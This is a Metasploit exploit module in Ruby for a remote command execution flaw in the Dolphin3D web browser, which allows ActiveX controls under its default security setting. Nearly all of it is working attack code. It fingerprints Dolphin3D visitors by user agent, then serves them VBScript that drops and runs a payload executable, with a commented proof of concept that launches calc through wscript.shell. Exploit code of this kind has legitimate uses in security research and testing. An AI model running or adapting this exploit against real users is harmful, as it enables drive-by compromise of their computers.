|
##
#
# Dolphin3D web browser ActiveX Remote Command Execution
#
# Date: Dez 9 2012
# Author: Rh0
# Affected Version: Dolphin3D 1.52 and 1.60
# Tested on: Windows XP Professional SP3 EN
#
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Dolphin3D web browser ActiveX Exec',
'Description' => %q{
This module exploits the default security setting in the
Dolphin3D web browser. The default security setting ("cautious")
allows arbitrary ActiveX Controls, thus remote command execution.
},
## NOTE: There exists a higher security setting called "jungle-safe".
## It disables javascript/vbscript completely, which is the
## the only measure to forbit unsafe ActiveX Objects.
## bug vs. feature :) see: http://www.dolphin3d.com/safest.html
'Author' =>
[
'Rh0 <rh0[at]z1p.biz>', # discovery and metasploit module
],
'Targets' =>
[
[ 'Windows - Dolphin3D Browser 1.52 and 1.60',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
'Platform' => ['win'],
'DisclosureDate' => "Dez 9 2012"
))
end
def on_request_uri(cli,request)
agent = request.headers['USER-AGENT']
if request.uri =~ /\.ico/
print_status("Ignoring request for #{request.uri}")
send_not_found(cli)
## dolphin user agent ends with "Avant Browser)"
## could conflict with Avant Browser, see
## http://www.useragentstring.com/_uas_Avant%20Browser_version_.php)
elsif agent =~ /Avant Browser\)$/
print_status("Sending vbs payload")
send_response(cli,exe_script,{"Content-Type" => "text/html"})
else
print_status("Ignoring request from #{agent}")
send_not_found(cli)
end
end
def exe_script()
exe = generate_payload_exe()
vbs = Msf::Util::EXE.to_exe_vbs(exe)
#vbs = 'CreateObject("wscript.shell").run"calc",1,false' # PoC
return "<script language=vbscript>#{vbs}</script>"
end
end
|